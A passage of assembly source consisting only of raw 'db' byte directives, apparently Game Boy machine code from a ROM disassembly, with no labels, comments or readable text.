$05, $19, $7B, $E6, $0F db $67, $79, $E6, $0F, $94, $37, $C9, $79 db $E6, $0F, $6F, $7B, $E6, $0F, $67, $3E db $0F, $95, $94, $37, $C9, $A7, $C9, $CD db $87, $16, $E6, $07, $21, $27, $19, $87 db $85, $6F, $30, $01, $24, $2A, $66, $6F db $E9, $37, $19, $40, $19, $37, $19, $37 db $19, $37, $19, $37, $19, $42, $19, $52 db $19, $7B, $E6, $0F, $67, $3E, $10, $94 db $37, $C9, $A7, $C9, $3E, $06, $E0, $9E db $7B, $E6, $0F, $67, $79, $E6, $0F, $C6 db $10, $94, $37, $C9, $3E, $07, $E0, $9E db $79, $E6, $0F, $6F, $7B, $E6, $0F, $67 db $3E, $1F, $95, $94, $37, $C9, $AF, $E0 db $AD, $21, $AF, $FF, $3E, $06, $22, $3E db $F9, $22, $3E, $06, $22, $CD, $F6, $1A db $21, $AD, $FF, $38, $02, $CB, $FE, $7E db $C9, $CD, $EA, $1A, $2E, $0F, $2A, $B6 db $28, $1D, $CB, $7E, $20, $0A, $CD, $4E db $18, $30, $0E, $07, $38, $32, $18, $09 db $CD, $D7, $18, $30, $04, $3D, $07, $30 db $27, $F0, $9E, $FE, $01, $28, $21, $F0 db $9A, $67, $2E, $0E, $CB, $7E, $20, $0A db $CD, $C7, $17, $30, $0E, $07, $38, $10 db $18, $09, $CD, $16, $17, $30, $04, $3D db $07, $30, $05, $F0, $9A, $57, $A7, $C9 db $F0, $9A, $57, $37, $C9, $AF, $E0, $AD db $21, $AE, $FF, $3E, $F9, $22, $3E, $06 db $22, $3E, $F9, $22, $3E, $06, $22, $CD db $8B, $1D, $30, $05, $21, $AD, $FF, $CB db $EE, $CD, $61, $1B, $21, $AD, $FF, $38 db $02, $CB, $FE, $7E, $C9, $AF, $E0, $AD db $21, $AE, $FF, $3E, $F9, $22, $3E, $06 db $22, $3E, $F9, $22, $3E, $06, $22, $CD db $8B, $1D, $30, $05, $21, $AD, $FF, $CB db $EE, $CD, $61, $1B, $21, $AD, $FF, $38 db $0C, $CB, $FE, $CD, $DA, $1B, $21, $AD db $FF, $38, $02, $CB, $E6, $7E, $C9, $AF db $E0, $AD, $21, $AE, $FF, $3E, $F9, $22 db $3E, $06, $22, $3E, $F9, $22, $3E, $06 db $22, $3E, $0D, $22, $CD, $C7, $1D, $30 db $05, $21, $AD, $FF, $CB, $EE, $1E, $10 db $1A, $17, $30, $0C, $CD, $0A, $1C, $21 db $AD, $FF, $30, $0E, $CB, $F6, $18, $0A db $CD, $88, $1C, $21, $AD, $FF, $30, $02 db $CB, $FE, $7E, $C9, $AF, $E0, $AD, $21 db $AE, $FF, $3E, $F9, $22, $3E, $06, $22 db $3E, $F9, $22, $3E, $06, $22, $3E, $0D db $22, $CD, $C7, $1D, $30, $05, $21, $AD db $FF, $CB, $EE, $CD, $0A, $1C, $30, $05 db $21, $AD, $FF, $CB, $F6, $CD, $88, $1C db $21, $AD, $FF, $30, $02, $CB, $FE, $7E db $C9, $CD, $EA, $1A, $CD, $46, $16, $E6 db $7F, $FE, $08, $F0, $9A, $57, $C9, $C5 db $CD, $B3, $1A, $1E, $27, $3E, $00, $20 db $01, $3C, $12, $C1, $C9, $CD, $EA, $1A db $CD, $46, $16, $E6, $C0, $FE, $80, $F0 db $9A, $57, $C9, $62, $AF, $47, $4F, $CB db $7B, $28, $01, $2F, $57, $CD, $D9, $1A db $CD, $46, $16, $E6, $C0, $FE, $80, $F0 db $9A, $57, $C9, $2E, $04, $2A, $81, $4F db $7E, $88, $47, $2E, $07, $2A, $83, $5F db $7E, $8A, $57, $C9, $62, $2E, $04, $2A db $4F, $46, $2E, $07, $2A, $5F, $56, $C9 db $62, $F0, $AF, $3C, $5F, $17, $9F, $57 db $06, $00, $48, $CD, $D9, $1A, $CD, $4E db $18, $38, $46, $CB, $59, $28, $1B, $F0 db $B1, $6F, $17, $9F, $67, $09, $44, $4D db $CD, $4E, $18, $30, $2A, $6F, $F0, $9E db $FE, $04, $7D, $38, $2C, $F0, $B1, $85 db $18, $27, $F0, $B0, $6F, $17, $9F, $67 db $09, $44, $4D, $CD, $4E, $18, $30, $0F db $6F, $F0, $9E, $FE, $04, $7D, $38, $11 db $F0, $B0, $2F, $37, $8D, $18, $0A, $F0 db $9A, $57, $1E, $4D, $3E, $00, $12, $37 db $C9, $3C, $20, $F3, $F0, $9A, $57, $F0 db $9E, $1E, $4D, $12, $F0, $9F, $1E, $4E db $12, $A7, $C9, $62, $F0, $AF, $3C, $5F db $17, $9F, $57, $06, $00, $48, $CD, $D9 db $1A, $CD, $4E, $18, $38, $46, $CB, $59 db $28, $1B, $F0, $B1, $6F, $17, $9F, $67 db $09, $44, $4D, $CD, $4E, $18, $30, $2A db $6F, $F0, $9E, $FE, $04, $7D, $38, $2C db $F0, $B1, $85, $18, $27, $F0, $B0, $6F db $17, $9F, $67, $09, $44, $4D, $CD, $4E db $18, $30, $0F, $6F, $F0, $9E, $FE, $04 db $7D, $38, $11, $F0, $B0, $2F, $37, $8D db $18, $0A, $F0, $9A, $57, $1E, $4D, $3E db $00, $12, $37, $C9, $3C, $6F, $07, $9F db $47, $F0, $9A, $67, $7D, $2E, $06, $36 db $80, $2C, $86, $22, $78, $8E, $77, $F0 db $9E, $2E, $4D, $77, $F0, $9F, $2E, $4E db $77, $54, $A7, $C9, $62, $F0, $AF, $3C db $5F, $17, $9F, $57, $2E, $4D, $7E, $FE db $04, $30, $08, $2E, $0E, $CB, $7E, $28 db $07, $18, $09, $06, $00, $48, $18, $0A db $F0, $B1, $18, $02, $F0, $B0, $4F, $17 db $9F, $47, $CD, $D9, $1A, $CD, $4E, $18 db $F0, $9A, $57, $C9, $62, $F0, $AE, $5F db $17, $9F, $57, $06, $00, $48, $CD, $D9 db $1A, $CD, $D7, $18, $30, $08, $6F, $3D db $07, $30, $55, $C3, $6D, $1E, $CB, $59 db $28, $29, $F0, $B1, $6F, $17, $9F, $67 db $09, $44, $4D, $CD, $D7, $18, $D2, $6D db $1E, $6F, $F0, $9E, $FE, $07, $CA, $6D db $1E, $FE, $06, $7D, $20, $06, $F0, $B1 db $2F, $37, $8D, $6F, $3D, $07, $30, $28 db $C3, $6D, $1E, $F0, $B0, $6F, $17, $9F db $67, $09, $44, $4D, $CD, $D7, $18, $D2 db $6D, $1E, $6F, $F0, $9E, $FE, $06, $CA db $6D, $1E, $FE, $07, $7D, $20, $04, $F0 db $B0, $85, $6F, $3D, $07, $DA, $6D, $1E db $F0, $9A, $67, $7D, $2E, $06, $36, $80 db $2C, $86, $22, $3E, $00, $8E, $77, $54 db $37, $C9, $AF, $EA, $7C, $DB, $62, $F0 db $AF, $5F, $17, $9F, $57, $06, $00, $48 db $CD, $D9, $1A, $CD, $4E, $18, $30, $0E db $6F, $07, $38, $64, $F0, $9A, $57, $1E db $4D, $F0, $9E, $12, $18, $52, $CB, $59 db $28, $23, $F0, $B1, $6F, $17, $9F, $67 db $09, $44, $4D, $CD, $4E, $18, $30, $38 db $6F, $F0, $9E, $FE, $05, $28, $31, $FE db $04, $7D, $20, $04, $F0, $B1, $85, $6F db $07, $38, $67, $18, $23, $F0, $B0, $6F db $17, $9F, $67, $09, $44, $4D, $CD, $4E db $18, $30, $15, $6F, $F0, $9E, $FE, $04 db $28, $0E, $FE, $05, $7D, $20, $06, $F0 db $B0, $2F, $37, $8D, $6F, $07, $38, $42 db $F0, $9A, $67, $57, $2E, $4D, $36, $00 db $1E, $4F, $FA, $7C, $DB, $12, $A7, $C9 db $3E, $01, $EA, $7C, $DB, $F0, $9A, $67 db $4D, $2E, $4D, $7E, $FE, $04, $30, $58 db $F0, $9E, $1E, $00, $FE, $04, $38, $3C db $2E, $4F, $CB, $46, $20, $18, $2E, $06 db $46, $2E, $0F, $2A, $37, $98, $7E, $DE db $FF, $CB, $7F, $20, $09, $81, $30, $06 db $18, $36, $F0, $9A, $67, $4D, $F0, $9E db $FE, $04, $1E, $00, $38, $16, $2E, $03 db $46, $2E, $0D, $2A, $28, $08, $37, $98 db $7E, $DE, $00, $2F, $18, $05, $37, $98 db $7E, $DE, $FF, $5F, $2E, $06, $46, $2E db $0F, $2A, $37, $98, $7E, $DE, $FF, $83 db $CB, $7F, $20, $8C, $81, $D2, $F6, $1C db $2E, $06, $36, $80, $2C, $79, $86, $22 db $3E, $FF, $8E, $77, $F0, $9E, $2E, $4D db $77, $F0, $9F, $2E, $4E, $77, $2E, $4F db $36, $00, $54, $37, $C9, $62, $2E, $0E db $F0, $AE, $5F, $17, $9F, $57, $CB, $7E db $20, $17, $F0, $B1, $4F, $17, $9F, $47 db $CD, $D9, $1A, $CD, $A3, $17, $D2, $6D db $1E, $6F, $07, $DA, $2A, $1E, $C3, $6D db $1E, $F0, $B0, $4F, $17, $9F, $47, $CD db $D9, $1A, $CD, $EF, $16, $D2, $6D, $1E db $6F, $3D, $07, $D2, $4C, $1E, $C3, $6D db $1E, $62, $2E, $0E, $F0, $AE, $5F, $17 db $9F, $57, $CB, $7E, $20, $2A, $F0, $B1 db $4F, $17, $9F, $47, $CD, $D9, $1A, $CD db $A3, $17, $30, $05, $6F, $07, $DA, $2A db $1E, $F0, $B2, $6F, $17, $9F, $67, $19 db $54, $5D, $CD, $A3, $17, $D2, $6D, $1E db $6F, $07, $DA, $2A, $1E, $C3, $6D, $1E db $F0, $B0, $4F, $17, $9F, $47, $CD, $D9 db $1A, $CD, $EF, $16, $30, $06, $6F, $3D db $07, $D2, $4C, $1E, $F0, $B2, $6F, $17 db $9F, $67, $19, $54, $5D, $CD, $EF, $16 db $D2, $6D, $1E, $6F, $3D, $07, $D2, $4C db $1E, $C3, $6D, $1E, $4D, $F0, $9A, $67 db $2E, $03, $46, $2E, $0D, $2A, $37, $98 db $7E, $DE, $FF, $81, $D2, $6D, $1E, $2E db $03, $36, $80, $2C, $79, $86, $22, $3E db $FF, $8E, $77, $54, $37, $C9, $4D, $F0 db $9A, $67, $2E, $03, $46, $2E, $0D, $2A db $37, $98, $7E, $DE, $00, $81, $38, $0F db $2E, $03, $36, $80, $2C, $79, $86, $22 db $3E, $00, $8E, $77, $54, $37, $C9, $F0 db $9A, $57, $A7, $C9, $1E, $04, $21, $51 db $DB, $1A, $96, $4F, $1C, $23, $1A, $9E db $1E, $0A, $12, $1D, $79, $12, $1E, $45 db $1A, $07, $1E, $0A, $1A, $38, $18, $07 db $DA, $F6, $0D, $0F, $47, $1D, $1A, $D6 db $AC, $78, $DE, $00, $DA, $F6, $0D, $1E db $05, $01, $EB, $40, $C3, $46, $08, $07 db $D2, $F6, $0D, $1D, $1A, $FE, $F4, $38 db $EE, $C3, $F6, $0D, $FF, $02, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $1E, $04, $6B, $26, $A0, $1A db $96, $1C, $2C, $1A, $9E, $1E, $45, $E6 db $80, $EE, $C0, $12, $C9, $62, $2E, $12 db $7E, $B7, $C8, $2E, $0F, $4F, $07, $9F db $47, $7E, $81, $22, $7E, $88, $77, $C9 db $62, $2E, $11, $7E, $B7, $C8, $2E, $0D db $4F, $07, $9F, $47, $7E, $81, $22, $7E db $88, $77, $C9, $1E, $45, $1A, $2F, $3C db $12, $1E, $0D, $1A, $2F, $C6, $01, $12 db $1C, $1A, $2F, $CE, $00, $12, $C9, $21 db $2C, $DD, $7E, $CB, $57, $C9, $D5, $C5 db $1E, $04, $6B, $26, $A0, $1A, $4F, $1C db $1A, $47, $5E, $2C, $56, $79, $93, $78 db $9A, $38, $12, $79, $93, $5F, $78, $BA db $28, $04, $3E, $FF, $83, $5F, $7B, $C1 db $D1, $B8, $D0, $18, $10, $7B, $91, $4F db $7A, $B8, $28, $04, $3E, $FF, $81, $4F db $79, $C1, $D1, $B8, $D0, $D5, $C5, $1E db $07, $6B, $26, $A0, $1A, $4F, $1C, $1A db $47, $5E, $2C, $56, $79, $93, $78, $9A db $38, $10, $79, $93, $4F, $78, $BA, $28 db $04, $3E, $FF, $81, $4F, $79, $C1, $D1 db $B9, $C9, $7B, $91, $5F, $78, $BA, $28 db $04, $3E, $FF, $83, $5F, $7B, $C1, $D1 db $B9, $C9, $C5, $CD, $64, $19, $E6, $80 db $1E, $27, $12, $CD, $35, $22, $1E, $40 db $12, $C1, $C9, $C5, $CD, $64, $19, $E6 db $80, $1E, $27, $12, $C1, $C9, $26, $A0 db $6B, $1A, $96, $4F, $2C, $1C, $1A, $9E db $30, $04, $79, $2F, $3C, $4F, $79, $B8 db $C9, $1E, $0F, $1A, $2F, $C6, $01, $12 db $1C, $1A, $2F, $CE, $00, $12, $C9, $1E db $0D, $1A, $2F, $C6, $01, $12, $1C, $1A db $2F, $CE, $00, $12, $1E, $45, $1A, $2F db $3C, $12, $C9, $0A, $03, $62, $2E, $45 db $CB, $7E, $28, $02, $2F, $3C, $6F, $17 db $9F, $67, $1E, $04, $1A, $85, $12, $1C db $1A, $8C, $12, $0A, $03, $6F, $17, $9F db $67, $1E, $07, $1A, $85, $12, $1C, $1A db $8C, $12, $C9, $1E, $48, $1A, $67, $1E db $46, $6B, $7E, $12, $C9, $FA, $4A, $DA db $A7, $C8, $67, $1E, $46, $6B, $1A, $77 db $C9, $1E, $5E, $0A, $12, $03, $1C, $0A db $12, $03, $1C, $0A, $12, $03, $C9, $CD db $2B, $20, $1E, $27, $30, $04, $3E, $01 db $12, $C9, $AF, $12, $C9, $1E, $07, $6B db $26, $A0, $1A, $96, $1C, $2C, $1A, $9E db $C9, $CD, $3D, $20, $C3, $20, $20, $1E db $04, $C3, $2D, $20, $0A, $6F, $03, $0A db $67, $03, $1E, $5C, $1A, $5F, $07, $83 db $85, $6F, $30, $01, $24, $1E, $12, $2A db $12, $1E, $39, $2A, $12, $1C, $2A, $12 db $C9, $0A, $6F, $03, $0A, $67, $03, $C3 db $53, $20, $0A, $6F, $03, $0A, $67, $03 db $1E, $5C, $1A, $5F, $87, $83, $85, $30 db $01, $24, $6F, $C3, $53, $20, $0A, $6F db $03, $0A, $67, $03, $1E, $0F, $2A, $12 db $1E, $3D, $12, $7E, $1C, $12, $1E, $10 db $12, $C9, $0A, $6F, $03, $0A, $67, $03 db $1E, $5C, $1A, $87, $85, $30, $01, $24 db $6F, $1E, $0F, $2A, $12, $1E, $3D, $12 db $7E, $1C, $12, $1E, $10, $12, $C9, $0A db $6F, $03, $0A, $67, $03, $1E, $5C, $1A db $5F, $07, $83, $85, $6F, $30, $01, $24 db $1E, $0F, $2A, $12, $1C, $2A, $12, $1E db $12, $2A, $12, $C9, $0A, $6F, $03, $0A db $67, $03, $C3, $BE, $20, $0A, $6F, $03 db $0A, $67, $03, $C3, $F0, $20, $0A, $6F db $03, $0A, $67, $03, $C3, $E5, $20, $1E db $27, $1A, $87, $85, $6F, $30, $0C, $24 db $18, $09, $1E, $5C, $1A, $07, $85, $6F db $30, $01, $24, $1E, $45, $1A, $07, $38 db $08, $1E, $0D, $2A, $12, $1C, $2A, $12 db $C9, $1E, $0D, $2A, $2F, $C6, $01, $12 db $1C, $2A, $2F, $CE, $00, $12, $C9, $0A db $6F, $03, $0A, $67, $03, $1E, $5C, $1A db $85, $6F, $30, $01, $24, $1E, $45, $1A db $07, $1E, $11, $2A, $38, $02, $12, $C9 db $2F, $3C, $12, $C9, $0A, $6F, $03, $0A db $67, $03, $18, $15, $0A, $6F, $03, $0A db $67, $03, $1E, $5C, $1A, $5F, $07, $83 db $85, $6F, $D2, $64, $21, $24, $C3, $64 db $21, $1E, $27, $1A, $5F, $07, $83, $85 db $6F, $D2, $64, $21, $24, $C3, $64, $21 db $0A, $6F, $03, $0A, $67, $03, $1E, $45 db $1A, $07, $30, $14, $1E, $11, $2A, $2F db $3C, $12, $1E, $3B, $2A, $2F, $C6, $01 db $12, $1C, $2A, $2F, $CE, $00, $12, $C9 db $2A, $1E, $11, $12, $1E, $3B, $2A, $12 db $1C, $2A, $12, $C9, $0A, $6F, $03, $0A db $67, $03, $1E, $5C, $1A, $5F, $07, $83 db $85, $6F, $D2, $A5, $21, $24, $C3, $A5 db $21, $0A, $6F, $03, $0A, $67, $03, $1E db $11, $2A, $12, $1E, $45, $1A, $07, $30 db $0E, $1E, $3B, $2A, $2F, $C6, $01, $12 db $1C, $2A, $2F, $CE, $00, $12, $C9, $1E db $3B, $2A, $12, $1C, $2A, $12, $C9, $62 db $2E, $11, $5E, $2E, $3B, $4E, $2C, $46 db $CB, $78, $20, $03, $C3, $B4, $0C, $C3 db $EF, $0C, $62, $2E, $12, $5E, $2E, $39 db $4E, $2C, $46, $CB, $78, $20, $03, $C3 db $35, $0D, $C3, $70, $0D, $62, $2E, $12 db $5E, $2E, $39, $4E, $2C, $46, $C3, $35 db $0D, $62, $2E, $12, $5E, $2E, $39, $4E db $2C, $46, $C3, $70, $0D, $0A, $03, $C5 db $1E, $07, $26, $A0, $6B, $4F, $07, $38 db $11, $1A, $81, $4F, $1C, $1A, $CE, $00 db $47, $2A, $91, $7E, $98, $30, $11, $AF db $18, $10, $1A, $81, $4F, $1C, $1A, $CE db $FF, $47, $2A, $91, $7E, $98, $30, $EF db $3E, $01, $1E, $27, $12, $C1, $C9, $1E db $4D, $1A, $FE, $04, $28, $06, $FE, $05 db $28, $02, $AF, $C9, $3E, $01, $C9, $0A db $6F, $03, $0A, $67, $03, $1E, $5C, $1A db $85, $6F, $30, $01, $24, $1E, $24, $7E db $12, $C9, $1E, $12, $1A, $2F, $3C, $12 db $C9, $26, $A0, $2E, $86, $1E, $4C, $1A db $77, $21, $DF, $DE, $CB, $C6, $21, $E4 db $DE, $36, $00, $C9, $26, $A0, $1E, $4C db $2E, $85, $1A, $77, $C9, $26, $A0, $AF db $2E, $85, $77, $C9, $21, $DF, $DE, $CB db $86, $21, $DE, $DE, $CB, $C6, $C9, $26 db $A5, $0E, $03, $C5, $2E, $00, $7E, $FE db $FF, $28, $1B, $2E, $4C, $7E, $B7, $28 db $15, $1E, $04, $06, $28, $CD, $9E, $1F db $30, $0C, $1E, $07, $06, $20, $CD, $9E db $1F, $30, $03, $C1, $37, $C9, $C1, $0D db $C8, $24, $18, $D7, $60, $69, $2A, $E0 db $84, $01, $B2, $A8, $2A, $F5, $D5, $E5 db $CD, $67, $0F, $C1, $D1, $7C, $B7, $28 db $15, $2E, $48, $72, $5D, $7C, $12, $1E db $45, $6B, $1A, $77, $1E, $5C, $6B, $1A db $77, $F1, $2E, $5B, $77, $C9, $F1, $C9 db $60, $69, $2A, $E0, $84, $01, $B2, $A8 db $2A, $F5, $D5, $E5, $CD, $67, $0F, $C1 db $D1, $7C, $B7, $28, $12, $2E, $48, $72 db $1E, $45, $6B, $1A, $77, $1E, $5C, $6B db $1A, $77, $F1, $2E, $5B, $77, $C9, $F1 db $C9, $21, $84, $FF, $73, $01, $B2, $A8 db $C3, $C3, $22, $21, $84, $FF, $73, $01 db $B2, $A8, $C3, $EF, $22, $01, $B2, $1E db $CD, $5B, $25, $1E, $41, $1A, $B7, $C0 db $CD, $71, $0C, $62, $2E, $60, $36, $3F db $2E, $44, $36, $18, $AF, $C9, $1E, $44 db $1A, $CB, $7F, $20, $05, $D6, $01, $12 db $38, $18, $CD, $5B, $25, $FA, $2C, $DD db $CB, $4F, $20, $0B, $CB, $47, $20, $02 db $AF, $C9, $CD, $61, $0C, $37, $C9, $E1 db $37, $C9, $2E, $60, $62, $36, $2D, $18 db $E1, $C5, $1E, $08, $01, $10, $64, $CD db $3A, $0C, $F0, $9A, $57, $C1, $C9, $1E db $F8, $CD, $C1, $1A, $C0, $1E, $03, $01 db $53, $4D, $CD, $46, $08, $E1, $C9, $CD db $97, $1A, $C0, $1E, $03, $01, $33, $4E db $CD, $46, $08, $E1, $C9, $1E, $48, $1A db $67, $0A, $5F, $03, $0A, $6F, $03, $0A db $03, $C5, $47, $4D, $2E, $00, $7E, $FE db $FF, $28, $03, $CD, $49, $08, $C1, $C9 db $1E, $48, $1A, $67, $2E, $21, $0A, $32 db $03, $0A, $32, $03, $0A, $77, $03, $C9 db $0A, $6F, $03, $0A, $67, $03, $C5, $CD db $CA, $23, $C1, $C9, $1E, $40, $1A, $07 db $07, $4F, $1E, $5C, $1A, $07, $81, $85 db $6F, $30, $01, $24, $4E, $23, $46, $1E db $45, $1A, $07, $30, $0A, $79, $2F, $C6 db $01, $4F, $78, $2F, $CE, $00, $47, $62 db $2E, $0D, $71, $2C, $70, $C9, $0A, $6F db $03, $0A, $67, $03, $1E, $5C, $1A, $85 db $6F, $30, $01, $24, $7E, $B7, $28, $0E db $FE, $FF, $28, $07, $6F, $1E, $3F, $1A db $BD, $38, $03, $AF, $18, $02, $3E, $01 db $1E, $27, $12, $C9, $CD, $50, $0F, $7C db $1E, $27, $12, $C9, $F0, $A4, $F5, $3E db $10, $CD, $DD, $05, $CD, $35, $24, $F1 db $CD, $DD, $05, $F0, $9A, $57, $C9, $21 db $52, $CD, $2A, $B6, $F0, $92, $4F, $FA db $1C, $DA, $20, $07, $B9, $C0, $2E, $4D db $36, $00, $C9, $91, $3D, $FE, $04, $D8 db $D6, $03, $5F, $3A, $B7, $20, $05, $7E db $BB, $30, $01, $5F, $7E, $93, $22, $7E db $DE, $00, $77, $06, $C4, $2E, $4E, $2A db $02, $0C, $2A, $02, $0C, $7B, $02, $E0 db $84, $0C, $2A, $66, $6F, $2A, $02, $0C db $1D, $20, $FA, $79, $E0, $92, $11, $4E db $CD, $F0, $84, $4F, $1A, $81, $12, $1C db $1A, $CE, $00, $12, $1C, $7D, $12, $1C db $7C, $12, $C9, $AF, $E0, $AD, $21, $AE db $FF, $0A, $03, $22, $0A, $03, $22, $0A db $03, $22, $0A, $22, $C3, $73, $19, $AF db $E0, $AD, $21, $AE, $FF, $0A, $03, $22 db $0A, $03, $22, $0A, $03, $22, $0A, $22 db $C3, $DD, $19, $AF, $E0, $AD, $21, $AE db $FF, $0A, $03, $22, $0A, $03, $22, $0A db $03, $22, $0A, $22, $C3, $05, $1A, $AF db $E0, $AD, $21, $AE, $FF, $0A, $5F, $03 db $22, $0A, $E0, $80, $03, $22, $0A, $03 db $22, $0A, $22, $F0, $80, $93, $22, $C3 db $3A, $1A, $1E, $48, $1A, $67, $0A, $03 db $E0, $80, $0A, $03, $C5, $4F, $17, $9F db $47, $1E, $07, $6B, $2A, $81, $12, $1C db $7E, $88, $12, $F0, $80, $2E, $45, $CB db $7E, $28, $02, $2F, $3C, $4F, $17, $9F db $47, $1E, $04, $6B, $2A, $81, $12, $1C db $7E, $88, $12, $C1, $C9, $1E, $44, $1A db $CB, $7F, $20, $0A, $D6, $01, $12, $38 db $26, $2E, $60, $62, $36, $3F, $CD, $5B db $25, $FA, $2C, $DD, $CB, $4F, $20, $10 db $CB, $47, $20, $02, $AF, $C9, $CD, $61 db $0C, $21, $12, $DD, $CB, $DE, $37, $C9 db $1E, $4C, $AF, $12, $E1, $37, $C9, $21 db $12, $DD, $CB, $56, $20, $D8, $2E, $60 db $62, $36, $2D, $18, $D1, $AF, $EA, $2C db $DD, $79, $EA, $29, $DD, $78, $EA, $2A db $DD, $CD, $88, $25, $38, $18, $26, $A5 db $2E, $00, $7E, $3C, $28, $07, $E5, $CD db $B6, $26, $E1, $38, $09, $24, $7C, $FE db $A8, $20, $EF, $CD, $53, $27, $F0, $9A db $57, $C9, $FA, $5D, $A0, $3C, $28, $6E db $FE, $05, $28, $6A, $FE, $01, $28, $07 db $1E, $61, $1A, $CB, $7F, $20, $5F, $1E db $04, $21, $5E, $A0, $1A, $96, $4F, $1C db $2C, $1A, $9E, $28, $09, $3C, $20, $4E db $79, $2F, $3C, $28, $49, $4F, $F0, $A2 db $47, $1E, $5E, $1A, $80, $37, $99, $38 db $3D, $1E, $07, $2E, $60, $1A, $96, $4F db $1C, $2C, $1A, $9E, $28, $09, $3C, $20 db $2D, $79, $2F, $3C, $28, $28, $4F, $F0 db $A3, $47, $1E, $5F, $1A, $80, $37, $99 db $38, $1C, $FA, $5D, $A0, $21, $F0, $25 db $87, $85, $6F, $30, $01, $24, $2A, $66 db $6F, $E9, $FE, $25, $82, $26, $A6, $26 db $82, $26, $FE, $25, $67, $26, $A7, $C9 db $FA, $57, $A0, $CB, $77, $20, $60, $21 db $2C, $DD, $CB, $D6, $1E, $60, $1A, $CB db $5F, $20, $54, $21, $55, $A0, $34, $62 db $2E, $0D, $AF, $22, $77, $2E, $0F, $22 db $77, $2E, $22, $36, $F6, $2C, $36, $0D db $21, $57, $A0, $CB, $FE, $1E, $00, $1A db $FE, $2F, $20, $0F, $21, $57, $A0, $CB db $C6, $3E, $01, $EA, $59, $A0, $1E, $3C db $1A, $18, $1A, $FA, $57, $A0, $1F, $38 db $1B, $21, $29, $DD, $2A, $C6, $00, $66 db $30, $01, $24, $6F, $7E, $CB, $7F, $20 db $0B, $21, $59, $A0, $34, $EA, $58, $A0 db $AF, $EA, $5A, $A0, $C3, $4F, $28, $A7 db $C9, $1E, $60, $1A, $CB, $4F, $20, $12 db $FA, $62, $A0, $47, $1E, $4C, $1A, $90 db $DA, $29, $28, $CA, $29, $28, $12, $C3 db $20, $28, $A7, $C9, $1E, $60, $1A, $CB db $4F, $20, $1B, $CD, $71, $28, $FA, $45 db $A0, $EA, $2B, $DD, $FA, $62, $A0, $47 db $1E, $4C, $1A, $90, $DA, $36, $28, $CA db $36, $28, $12, $C3, $20, $28, $A7, $C9 db $1E, $60, $1A, $CB, $57, $20, $07, $21 db $6C, $A0, $CB, $DE, $18, $CE, $A7, $C9 db $2E, $4C, $7E, $B7, $28, $4A, $1E, $60 db $1A, $CB, $7F, $20, $43, $1E, $04, $6B db $1A, $96, $4F, $1C, $2C, $1A, $9E, $EA db $2B, $DD, $28, $09, $3C, $20, $31, $79 db $2F, $3C, $28, $2C, $4F, $2E, $39, $46 db $1E, $5E, $1A, $80, $37, $99, $38, $20 db $1E, $07, $6B, $1A, $96, $4F, $1C, $2C db $1A, $9E, $28, $09, $3C, $20, $11, $79 db $2F, $3C, $28, $0C, $4F, $2E, $3A, $46 db $1E, $5F, $1A, $80, $37, $99, $30, $02 db $A7, $C9, $1E, $60, $1A, $CB, $77, $20 db $17, $2E, $5A, $7E, $FE, $06, $28, $10 db $FE, $0A, $28, $0C, $FE, $16, $28, $08 db $1E, $07, $01, $83, $4C, $CD, $49, $08 db $1E, $60, $1A, $CB, $67, $20, $D9, $2E db $5A, $7E, $FE, $00, $20, $05, $1A, $CB db $6F, $20, $CD, $1E, $4C, $6B, $1A, $96 db $DA, $48, $27, $CA, $48, $27, $12, $C3 db $20, $28, $2E, $5A, $7E, $FE, $12, $C2 db $36, $28, $C3, $29, $28, $1E, $04, $6B db $26, $A0, $1A, $96, $4F, $1C, $2C, $1A db $9E, $EA, $2B, $DD, $28, $09, $3C, $20 db $33, $79, $2F, $3C, $28, $2E, $4F, $F0 db $A0, $47, $1E, $5E, $1A, $80, $37, $99 db $38, $22, $1E, $07, $21, $54, $CD, $1A db $96, $4F, $1C, $2C, $1A, $9E, $28, $09 db $3C, $20, $11, $79, $2F, $3C, $28, $0C db $4F, $F0, $A1, $47, $1E, $5F, $1A, $80 db $37, $99, $30, $02, $A7, $C9, $21, $2C db $DD, $CB, $DE, $1E, $61, $1A, $CB, $77 db $20, $F2, $CD, $09, $28, $38, $ED, $FA db $5D, $A0, $FE, $01, $28, $E6, $FE, $04 db $28, $E2, $FA, $54, $A0, $B7, $C2, $F3 db $27, $21, $29, $DD, $2A, $C6, $01, $66 db $30, $01, $24, $6F, $7E, $EA, $44, $A0 db $B7, $28, $06, $E6, $0F, $47, $CD, $8B db $3A, $3E, $FF, $EA, $5D, $A0, $1E, $01 db $01, $C9, $4E, $CD, $48, $0C, $FA, $2B db $DD, $E6, $80, $F6, $40, $EA, $53, $A0 db $3E, $01, $EA, $54, $A0, $1E, $60, $1A db $CB, $47, $20, $A0, $1E, $4C, $1A, $D6 db $02, $DA, $36, $28, $CA, $36, $28, $12 db $C3, $20, $28, $FA, $50, $A0, $FE, $09 db $20, $0E, $FA, $56, $A0, $B7, $20, $06 db $FA, $55, $A0, $B7, $28, $02, $37, $C9 db $A7, $C9, $21, $2C, $DD, $CB, $C6, $06 db $08, $18, $28, $21, $2C, $DD, $CB, $CE db $06, $0B, $CD, $51, $28, $D0, $18, $0B db $21, $2C, $DD, $CB, $CE, $06, $05, $CD db $51, $28, $D0, $1E, $4A, $1A, $4F, $1C db $1A, $47, $26, $02, $CD, $E0, $30, $37 db $C9, $06, $02, $21, $29, $DD, $2A, $80 db $66, $30, $01, $24, $6F, $2A, $4F, $2A db $47, $B1, $28, $0D, $5E, $CD, $46, $08 db $FA, $2B, $DD, $2F, $2E, $5D, $77, $37 db $C9, $A7, $C9, $21, $6C, $A0, $CB, $46 db $C0, $CB, $C6, $21, $76, $A0, $36, $00 db $C9, $CB, $7F, $C8, $2F, $3C, $C9, $F5 db $AF, $E0, $80, $18, $0F, $F5, $78, $A9 db $E0, $80, $78, $CD, $7F, $28, $47, $79 db $CD, $7F, $28, $4F, $D5, $E5, $78, $B9 db $30, $02, $41, $4F, $26, $D7, $69, $56 db $24, $5E, $25, $68, $7E, $24, $6E, $67 db $19, $F5, $16, $D8, $78, $91, $5F, $1A db $4F, $15, $1A, $47, $7D, $91, $6F, $7C db $98, $67, $30, $04, $F1, $3F, $18, $01 db $F1, $CB, $1C, $CB, $1D, $44, $4D, $F0 db $80, $07, $30, $0A, $79, $2F, $C6, $01 db $4F, $78, $2F, $CE, $00, $47, $E1, $D1 db $F1, $C9, $F5, $E5, $78, $AA, $E0, $81 db $CB, $78, $28, $0A, $79, $2F, $C6, $01 db $4F, $78, $2F, $CE, $00, $47, $C5, $43 db $CD, $85, $28, $69, $60, $01, $80, $00 db $09, $6C, $26, 